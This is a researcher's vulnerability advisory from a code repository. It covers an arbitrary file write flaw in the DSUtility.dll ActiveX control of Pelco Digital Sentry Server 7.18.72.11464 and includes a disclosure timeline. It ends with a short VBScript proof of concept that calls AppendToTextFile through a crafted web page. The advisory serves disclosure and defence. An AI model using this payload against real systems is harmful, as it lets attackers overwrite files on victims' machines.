master ···

Advisories / Pelco_Digital_Sentry_Server_AFW.txt

vitorespf Add files via upload History

1 contributor

76 lines (54 sloc) | 2.62 KB ···

```
• Product Line: Digital Sentry Server
• Vulnerable Version: 7.18.72.11464
• Vulnerability type: https://cwe.mitre.org/data/definitions/618.html
• Organization Name: Pelco

Description
-----------

The DSUtility.dll is a library included in the Digital Sentry Server 7.18.72.11464 package suffers from arbitrary file
write vulnerability. The AppendToTextFile method  doesn't check if it's being called from the application
or from a malicious user. The vulnerability is triggered when a Remote Attacker craft a html page and
overwrite arbitrary files in a system as a context user permission.


Timeline:
---------

03/09/2019 - The vulnerability was reported.
03/13/2019 - I asked for some update.
03/13/2019 - The Schneider Electric cybersecurity team informed me that the four vulnerabilities I reported
04/15/2019 - Pelco's cybersecurity team sent me two reports from the company itself (SEVD-2019-134-02)
             with the reserved CVE ID.

05/29/2019 - I was informed that Pelco was sold and that it would be in the process of divesting from Schneider Electric.

06/20/2019 -  They introduced me to Pelco's cybersecurity team, and transferred
              the vulnerabilities I found previously, and urgently requested detailed
              updates and the next steps.

07/02/2019 - I asked again about the disclosure dates on the vulnerabilities, they didn't
             give me a precise date.

07/18/2019 - They said that the notification of the vulnerabilities was with the product manager
             for approval, and that there would be a mention in my name for having discovered the
             vulnerabilities. However, this did not occur

10/23/2019 -  I asked for some update again.

10/23/2019 - Pelco's cybersecurity team responded that they had a disclosure target for October

02/10/2021 - I was informed the vulnerabilit was fixed with
             version 7.19.67. However, I did not receive the CVE for them.


File info
---------

File: C:\Windows\SysWOW64\DSUtility.dll
File Description: Digital Sentry Utility Class
Version: 7.18.72.11464
Product Name: DSUtility
Language: English (United States)

ActiveX info
------------

Class cFileUtil
GUID: {7D32616F-E33D-11D3-9934-0000863EBDE1}
Number of Interfaces: 1
Default Interface: _cFileUtil
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False


Proof-of-Concept:
-----------------

<object classid='clsid:7D32616F-E33D-11D3-9934-0000863EBDE1' id='target' />
<script language='vbscript'>

arg1="C:\Users\yourser\"
arg2="defaultV"
target.AppendToTextFile arg1 ,arg2

</script>
```